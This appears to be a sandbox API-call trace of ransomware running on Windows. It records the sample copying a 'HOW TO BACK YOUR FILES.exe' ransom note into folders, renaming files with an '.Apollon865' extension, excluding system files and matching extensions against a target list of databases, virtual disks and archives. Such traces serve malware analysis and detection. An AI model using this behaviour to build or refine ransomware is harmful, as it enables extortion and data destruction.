	[0052.086] lstrcmpiW (lpString1="dialdot.png", lpString2=".sys") returned 1
	[0052.086] lstrlenW (lpString="dialdot.png") returned 11
	[0052.086] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="dialdot_lrg.png" | out: lpString1="dialdot_lrg.png") returned="dialdot_lrg.png"
	[0052.086] lstrlenW (lpString="dialdot_lrg.png") returned 15
	[0052.086] lstrlenW (lpString="Apollon865") returned 10
	[0052.086] lstrcmpiW (lpString1="ot_lrg.png", lpString2="Apollon865") returned 1
	[0052.086] lstrlenW (lpString=".dll") returned 4
	[0052.087] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2=".dll") returned 1
	[0052.087] lstrlenW (lpString=".lnk") returned 4
	[0052.087] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2=".lnk") returned 1
	[0052.087] lstrlenW (lpString=".ini") returned 4
	[0052.087] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2=".ini") returned 1
	[0052.087] lstrlenW (lpString=".sys") returned 4
	[0052.087] lstrcmpiW (lpString1="dialdot_lrg.png", lpString2=".sys") returned 1
	[0052.087] lstrlenW (lpString="dialdot_lrg.png") returned 15
	[0052.087] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="dial_lrg.png" | out: lpString1="dial_lrg.png") returned="dial_lrg.png"
	[0052.087] lstrlenW (lpString="dial_lrg.png") returned 12
	[0052.087] lstrlenW (lpString="Apollon865") returned 10
	[0052.087] lstrcmpiW (lpString1="al_lrg.png", lpString2="Apollon865") returned -1
	[0052.087] lstrlenW (lpString=".dll") returned 4
	[0052.087] lstrcmpiW (lpString1="dial_lrg.png", lpString2=".dll") returned 1
	[0052.087] lstrlenW (lpString=".lnk") returned 4
	[0052.087] lstrcmpiW (lpString1="dial_lrg.png", lpString2=".lnk") returned 1
	[0052.087] lstrlenW (lpString=".ini") returned 4
	[0052.087] lstrcmpiW (lpString1="dial_lrg.png", lpString2=".ini") returned 1
	[0052.087] lstrlenW (lpString=".sys") returned 4
	[0052.087] lstrcmpiW (lpString1="dial_lrg.png", lpString2=".sys") returned 1
	[0052.087] lstrlenW (lpString="dial_lrg.png") returned 12
	[0052.087] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="dial_lrg_sml.png" | out: lpString1="dial_lrg_sml.png") returned="dial_lrg_sml.png"
	[0052.087] lstrlenW (lpString="dial_lrg_sml.png") returned 16
	[0052.087] lstrlenW (lpString="Apollon865") returned 10
	[0052.087] lstrcmpiW (lpString1="rg_sml.png", lpString2="Apollon865") returned 1
	[0052.087] lstrlenW (lpString=".dll") returned 4
	[0052.087] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2=".dll") returned 1
	[0052.087] lstrlenW (lpString=".lnk") returned 4
	[0052.087] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2=".lnk") returned 1
	[0052.087] lstrlenW (lpString=".ini") returned 4
	[0052.087] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2=".ini") returned 1
	[0052.087] lstrlenW (lpString=".sys") returned 4
	[0052.088] lstrcmpiW (lpString1="dial_lrg_sml.png", lpString2=".sys") returned 1
	[0052.088] lstrlenW (lpString="dial_lrg_sml.png") returned 16
	[0052.088] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="dial_sml.png" | out: lpString1="dial_sml.png") returned="dial_sml.png"
	[0052.088] lstrlenW (lpString="dial_sml.png") returned 12
	[0052.088] lstrlenW (lpString="Apollon865") returned 10
	[0052.088] lstrcmpiW (lpString1="al_sml.png", lpString2="Apollon865") returned -1
	[0052.088] lstrlenW (lpString=".dll") returned 4
	[0052.088] lstrcmpiW (lpString1="dial_sml.png", lpString2=".dll") returned 1
	[0052.088] lstrlenW (lpString=".lnk") returned 4
	[0052.088] lstrcmpiW (lpString1="dial_sml.png", lpString2=".lnk") returned 1
	[0052.088] lstrlenW (lpString=".ini") returned 4
	[0052.088] lstrcmpiW (lpString1="dial_sml.png", lpString2=".ini") returned 1
	[0052.088] lstrlenW (lpString=".sys") returned 4
	[0052.088] lstrcmpiW (lpString1="dial_sml.png", lpString2=".sys") returned 1
	[0052.088] lstrlenW (lpString="dial_sml.png") returned 12
	[0052.088] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="glass.png" | out: lpString1="glass.png") returned="glass.png"
	[0052.088] lstrlenW (lpString="glass.png") returned 9
	[0052.088] lstrlenW (lpString="Apollon865") returned 10
	[0052.088] lstrlenW (lpString=".dll") returned 4
	[0052.088] lstrcmpiW (lpString1="glass.png", lpString2=".dll") returned 1
	[0052.088] lstrlenW (lpString=".lnk") returned 4
	[0052.088] lstrcmpiW (lpString1="glass.png", lpString2=".lnk") returned 1
	[0052.088] lstrlenW (lpString=".ini") returned 4
	[0052.088] lstrcmpiW (lpString1="glass.png", lpString2=".ini") returned 1
	[0052.088] lstrlenW (lpString=".sys") returned 4
	[0052.088] lstrcmpiW (lpString1="glass.png", lpString2=".sys") returned 1
	[0052.088] lstrlenW (lpString="glass.png") returned 9
	[0052.088] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="glass_lrg.png" | out: lpString1="glass_lrg.png") returned="glass_lrg.png"
	[0052.088] lstrlenW (lpString="glass_lrg.png") returned 13
	[0052.088] lstrlenW (lpString="Apollon865") returned 10
	[0052.089] lstrcmpiW (lpString1="ss_lrg.png", lpString2="Apollon865") returned 1
	[0052.089] lstrlenW (lpString=".dll") returned 4
	[0052.089] lstrcmpiW (lpString1="glass_lrg.png", lpString2=".dll") returned 1
	[0052.089] lstrlenW (lpString=".lnk") returned 4
	[0052.089] lstrcmpiW (lpString1="glass_lrg.png", lpString2=".lnk") returned 1
	[0052.089] lstrlenW (lpString=".ini") returned 4
	[0052.089] lstrcmpiW (lpString1="glass_lrg.png", lpString2=".ini") returned 1
	[0052.089] lstrlenW (lpString=".sys") returned 4
	[0052.089] lstrcmpiW (lpString1="glass_lrg.png", lpString2=".sys") returned 1
	[0052.089] lstrlenW (lpString="glass_lrg.png") returned 13
	[0052.089] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US"
	[0052.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.089] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0052.089] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US") returned 63
	[0052.089] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US"
	[0052.089] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.089] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.093] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.093] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37200310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37200310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.093] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="cpu.html" | out: lpString1="cpu.html") returned="cpu.html"
	[0052.093] lstrlenW (lpString="cpu.html") returned 8
	[0052.093] lstrlenW (lpString="Apollon865") returned 10
	[0052.094] lstrlenW (lpString=".dll") returned 4
	[0052.094] lstrcmpiW (lpString1="cpu.html", lpString2=".dll") returned 1
	[0052.094] lstrlenW (lpString=".lnk") returned 4
	[0052.094] lstrcmpiW (lpString1="cpu.html", lpString2=".lnk") returned 1
	[0052.094] lstrlenW (lpString=".ini") returned 4
	[0052.094] lstrcmpiW (lpString1="cpu.html", lpString2=".ini") returned 1
	[0052.094] lstrlenW (lpString=".sys") returned 4
	[0052.094] lstrcmpiW (lpString1="cpu.html", lpString2=".sys") returned 1
	[0052.094] lstrlenW (lpString="cpu.html") returned 8
	[0052.094] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="css" | out: lpString1="css") returned="css"
	[0052.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0052.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b90d8
	[0052.094] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd90
	[0052.094] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1
	[0052.094] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0052.094] lstrlenW (lpString="gadget.xml") returned 10
	[0052.094] lstrlenW (lpString="Apollon865") returned 10
	[0052.094] lstrlenW (lpString=".dll") returned 4
	[0052.094] lstrcmpiW (lpString1="gadget.xml", lpString2=".dll") returned 1
	[0052.094] lstrlenW (lpString=".lnk") returned 4
	[0052.094] lstrcmpiW (lpString1="gadget.xml", lpString2=".lnk") returned 1
	[0052.094] lstrlenW (lpString=".ini") returned 4
	[0052.094] lstrcmpiW (lpString1="gadget.xml", lpString2=".ini") returned 1
	[0052.094] lstrlenW (lpString=".sys") returned 4
	[0052.094] lstrcmpiW (lpString1="gadget.xml", lpString2=".sys") returned 1
	[0052.094] lstrlenW (lpString="gadget.xml") returned 10
	[0052.094] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml.Apollon865") returned 85
	[0052.094] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0052.099] GetLastError () returned 0x5
	[0052.099] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 103
	[0052.099] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 103
	[0052.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0052.099] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ed8
	[0052.099] WriteFile (in: hFile=0x150, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x67, lpOverlapped=0x0) returned 1
	[0052.099] CloseHandle (hObject=0x150) returned 1
	[0052.099] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0052.099] CloseHandle (hObject=0x0) returned 0
	[0052.099] CloseHandle (hObject=0x0) returned 0
	[0052.099] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37200310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37200310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.100] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="js" | out: lpString1="js") returned="js"
	[0052.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0052.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b8f28
	[0052.100] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0052.100] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0052.100] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0052.100] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0052.100] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js"
	[0052.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0052.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0052.100] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js") returned 66
	[0052.100] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js"
	[0052.100] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.100] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.104] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.104] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37200310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37200310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.104] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.104] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.104] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.104] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37200310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37200310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.104] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.104] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.104] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.104] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.104] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x47ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cpu.js", cAlternateFileName="")) returned 1
	[0052.104] lstrcmpiW (lpString1="cpu.js", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.104] lstrcmpiW (lpString1="cpu.js", lpString2="Apollon865.txt.exe") returned 1
	[0052.104] lstrcmpiW (lpString1="cpu.js", lpString2=".") returned 1
	[0052.104] lstrcmpiW (lpString1="cpu.js", lpString2="..") returned 1
	[0052.104] lstrcmpiW (lpString1="cpu.js", lpString2="windows") returned -1
	[0052.104] lstrcmpiW (lpString1="cpu.js", lpString2="bootmgr") returned 1
	[0052.104] lstrcmpiW (lpString1="cpu.js", lpString2="temp") returned -1
	[0052.104] lstrcmpiW (lpString1="cpu.js", lpString2="pagefile.sys") returned -1
	[0052.104] lstrcmpiW (lpString1="cpu.js", lpString2="boot") returned 1
	[0052.104] lstrcmpiW (lpString1="cpu.js", lpString2="ids.txt") returned -1
	[0052.104] lstrcmpiW (lpString1="cpu.js", lpString2="ntuser.dat") returned -1
	[0052.105] lstrcmpiW (lpString1="cpu.js", lpString2="perflogs") returned -1
	[0052.105] lstrcmpiW (lpString1="cpu.js", lpString2="MSBuild") returned -1
	[0052.105] lstrlenW (lpString="cpu.js") returned 6
	[0052.105] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\js\\*") returned 68
	[0052.105] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="cpu.js" | out: lpString1="cpu.js") returned="cpu.js"
	[0052.105] lstrlenW (lpString="cpu.js") returned 6
	[0052.105] lstrlenW (lpString="Apollon865") returned 10
	[0052.105] lstrlenW (lpString=".dll") returned 4
	[0052.105] lstrcmpiW (lpString1="cpu.js", lpString2=".dll") returned 1
	[0052.105] lstrlenW (lpString=".lnk") returned 4
	[0052.105] lstrcmpiW (lpString1="cpu.js", lpString2=".lnk") returned 1
	[0052.105] lstrlenW (lpString=".ini") returned 4
	[0052.105] lstrcmpiW (lpString1="cpu.js", lpString2=".ini") returned 1
	[0052.105] lstrlenW (lpString=".sys") returned 4
	[0052.105] lstrcmpiW (lpString1="cpu.js", lpString2=".sys") returned 1
	[0052.105] lstrlenW (lpString="cpu.js") returned 6
	[0052.105] lstrlenW (lpString="bak") returned 3
	[0052.105] lstrcmpiW (lpString1=".js", lpString2="bak") returned -1
	[0052.105] lstrlenW (lpString="ba_") returned 3
	[0052.105] lstrcmpiW (lpString1=".js", lpString2="ba_") returned -1
	[0052.105] lstrlenW (lpString="dbb") returned 3
	[0052.105] lstrcmpiW (lpString1=".js", lpString2="dbb") returned -1
	[0052.105] lstrlenW (lpString="vmdk") returned 4
	[0052.105] lstrcmpiW (lpString1="u.js", lpString2="vmdk") returned -1
	[0052.105] lstrlenW (lpString="rar") returned 3
	[0052.105] lstrcmpiW (lpString1=".js", lpString2="rar") returned -1
	[0052.105] lstrlenW (lpString="zip") returned 3
	[0052.105] lstrcmpiW (lpString1=".js", lpString2="zip") returned -1
	[0052.105] lstrlenW (lpString="tgz") returned 3
	[0052.105] lstrcmpiW (lpString1=".js", lpString2="tgz") returned -1
	[0052.106] lstrlenW (lpString="vbox") returned 4
	[0052.106] lstrcmpiW (lpString1="u.js", lpString2="vbox") returned -1
	[0052.106] lstrlenW (lpString="vdi") returned 3
	[0052.106] lstrcmpiW (lpString1=".js", lpString2="vdi") returned -1
	[0052.106] lstrlenW (lpString="vhd") returned 3
	[0052.106] lstrcmpiW (lpString1=".js", lpString2="vhd") returned -1
	[0052.106] lstrlenW (lpString="vhdx") returned 4
	[0052.106] lstrcmpiW (lpString1="u.js", lpString2="vhdx") returned -1
	[0052.106] lstrlenW (lpString="avhd") returned 4
	[0052.106] lstrcmpiW (lpString1="u.js", lpString2="avhd") returned 1
	[0052.106] lstrlenW (lpString="db") returned 2
	[0052.106] lstrcmpiW (lpString1="js", lpString2="db") returned 1
	[0052.106] lstrlenW (lpString="db2") returned 3
	[0052.106] lstrcmpiW (lpString1=".js", lpString2="db2") returned -1
	[0052.106] lstrlenW (lpString="db3") returned 3
	[0052.106] lstrcmpiW (lpString1=".js", lpString2="db3") returned -1
	[0052.106] lstrlenW (lpString="dbf") returned 3
	[0052.106] lstrcmpiW (lpString1=".js", lpString2="dbf") returned -1
	[0052.106] lstrlenW (lpString="mdf") returned 3
	[0052.106] lstrcmpiW (lpString1=".js", lpString2="mdf") returned -1
	[0052.106] lstrlenW (lpString="mdb") returned 3
	[0052.106] lstrcmpiW (lpString1=".js", lpString2="mdb") returned -1
	[0052.106] lstrlenW (lpString="sql") returned 3
	[0052.106] lstrcmpiW (lpString1=".js", lpString2="sql") returned -1
	[0052.106] lstrlenW (lpString="sqlite") returned 6
	[0052.106] lstrlenW (lpString="sqlite3") returned 7
	[0052.106] lstrlenW (lpString="sqlitedb") returned 8
	[0052.106] lstrlenW (lpString="xml") returned 3
	[0052.106] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0052.106] lstrlenW (lpString="$er") returned 3
	[0052.106] lstrcmpiW (lpString1=".js", lpString2="$er") returned 1
	[0052.106] lstrlenW (lpString="4dd") returned 3
	[0052.106] lstrcmpiW (lpString1=".js", lpString2="4dd") returned -1
	[0052.106] lstrlenW (lpString="4dl") returned 3
	[0052.106] lstrcmpiW (lpString1=".js", lpString2="4dl") returned -1
	[0052.107] lstrlenW (lpString="^^^") returned 3
	[0052.107] lstrcmpiW (lpString1=".js", lpString2="^^^") returned -1
	[0052.107] lstrlenW (lpString="abs") returned 3
	[0052.107] lstrcmpiW (lpString1=".js", lpString2="abs") returned -1
	[0052.107] lstrlenW (lpString="abx") returned 3
	[0052.107] lstrcmpiW (lpString1=".js", lpString2="abx") returned -1
	[0052.107] lstrlenW (lpString="accdb") returned 5
	[0052.107] lstrcmpiW (lpString1="pu.js", lpString2="accdb") returned 1
	[0052.107] lstrlenW (lpString="accdc") returned 5
	[0052.107] lstrcmpiW (lpString1="pu.js", lpString2="accdc") returned 1
	[0052.107] lstrlenW (lpString="accde") returned 5
	[0052.107] lstrcmpiW (lpString1="pu.js", lpString2="accde") returned 1
	[0052.107] lstrlenW (lpString="accdr") returned 5
	[0052.107] lstrcmpiW (lpString1="pu.js", lpString2="accdr") returned 1
	[0052.107] lstrlenW (lpString="accdt") returned 5
	[0052.107] lstrcmpiW (lpString1="pu.js", lpString2="accdt") returned 1
	[0052.107] lstrlenW (lpString="accdw") returned 5
	[0052.107] lstrcmpiW (lpString1="pu.js", lpString2="accdw") returned 1
	[0052.107] lstrlenW (lpString="accft") returned 5
	[0052.107] lstrcmpiW (lpString1="pu.js", lpString2="accft") returned 1
	[0052.107] lstrlenW (lpString="adb") returned 3
	[0052.107] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0052.107] lstrlenW (lpString="adb") returned 3
	[0052.107] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0052.107] lstrlenW (lpString="ade") returned 3
	[0052.107] lstrcmpiW (lpString1=".js", lpString2="ade") returned -1
	[0052.107] lstrlenW (lpString="adf") returned 3
	[0052.107] lstrcmpiW (lpString1=".js", lpString2="adf") returned -1
	[0052.107] lstrlenW (lpString="adn") returned 3
	[0052.107] lstrcmpiW (lpString1=".js", lpString2="adn") returned -1
	[0052.107] lstrlenW (lpString="adp") returned 3
	[0052.107] lstrcmpiW (lpString1=".js", lpString2="adp") returned -1
	[0052.107] lstrlenW (lpString="alf") returned 3
	[0052.107] lstrcmpiW (lpString1=".js", lpString2="alf") returned -1
	[0052.107] lstrlenW (lpString="ask") returned 3
	[0052.107] lstrcmpiW (lpString1=".js", lpString2="ask") returned -1
	[0052.108] lstrlenW (lpString="btr") returned 3
	[0052.108] lstrcmpiW (lpString1=".js", lpString2="btr") returned -1
	[0052.108] lstrlenW (lpString="cat") returned 3
	[0052.108] lstrcmpiW (lpString1=".js", lpString2="cat") returned -1
	[0052.108] lstrlenW (lpString="cdb") returned 3
	[0052.108] lstrcmpiW (lpString1=".js", lpString2="cdb") returned -1
	[0052.108] lstrlenW (lpString="ckp") returned 3
	[0052.108] lstrcmpiW (lpString1=".js", lpString2="ckp") returned -1
	[0052.108] lstrlenW (lpString="cma") returned 3
	[0052.108] lstrcmpiW (lpString1=".js", lpString2="cma") returned -1
	[0052.108] lstrlenW (lpString="cpd") returned 3
	[0052.108] lstrcmpiW (lpString1=".js", lpString2="cpd") returned -1
	[0052.108] lstrlenW (lpString="dacpac") returned 6
	[0052.108] lstrlenW (lpString="dad") returned 3
	[0052.108] lstrcmpiW (lpString1=".js", lpString2="dad") returned -1
	[0052.108] lstrlenW (lpString="dadiagrams") returned 10
	[0052.108] lstrlenW (lpString="daschema") returned 8
	[0052.108] lstrlenW (lpString="db-journal") returned 10
	[0052.108] lstrlenW (lpString="db-shm") returned 6
	[0052.108] lstrlenW (lpString="db-wal") returned 6
	[0052.108] lstrlenW (lpString="dbc") returned 3
	[0052.108] lstrcmpiW (lpString1=".js", lpString2="dbc") returned -1
	[0052.108] lstrlenW (lpString="dbs") returned 3
	[0052.108] lstrcmpiW (lpString1=".js", lpString2="dbs") returned -1
	[0052.108] lstrlenW (lpString="dbt") returned 3
	[0052.108] lstrcmpiW (lpString1=".js", lpString2="dbt") returned -1
	[0052.108] lstrlenW (lpString="dbv") returned 3
	[0052.108] lstrcmpiW (lpString1=".js", lpString2="dbv") returned -1
	[0052.108] lstrlenW (lpString="dbx") returned 3
